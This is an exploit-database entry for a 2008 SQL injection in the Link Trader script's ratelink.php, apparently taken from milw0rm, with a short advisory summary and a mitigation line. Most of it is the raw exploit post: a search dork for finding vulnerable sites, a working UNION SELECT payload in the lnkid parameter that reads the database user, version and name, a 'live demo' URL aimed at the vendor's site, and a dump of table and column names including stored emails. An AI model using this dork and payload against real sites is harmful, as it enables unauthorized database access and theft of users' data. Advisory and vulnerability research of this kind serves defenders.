Link Trader (lnkid) Remote SQL Injection Vulnerability

vendor:

Link Trader

by:

Hussin X

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Link Trader

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Link Trader (lnkid) Remote SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The attacker can inject arbitrary SQL code in the 'lnkid' parameter of the 'ratelink.php' script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. This can be exploited to disclose the content of the database, modify data, execute administration operations, etc.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also be configured to use the least privileged account with access to the database.

Source

Exploit-DB raw data:

|___________________________________________________|
|
|  Link Trader (lnkid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.ezonescripts.com/scripts/sls/linktrader.php
|
| DorK  : inurl:ratelink.php?lnkid=
|___________________________________________________|

Exploit: 



www.[target].com/Script/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*






L!VE DEMO:


http://www.ezonescripts.com/productdemos/LinkTrader/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*



__________________________

table_name : column_name


o_categories:c_name
o_categories:c_id
o_categories:c_date
o_links:l_id
o_links:l_name
o_links:l_email
o_links:l_cid
o_links:l_sitename
o_links:l_homeurl
o_links:l_linkurl
o_links:l_slogan
o_links:l_description
o_links:l_webmasterschoice
o_ratings:r_id
o_ratings:r_lid
o_ratings:r_votecount

__________________________



____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-01]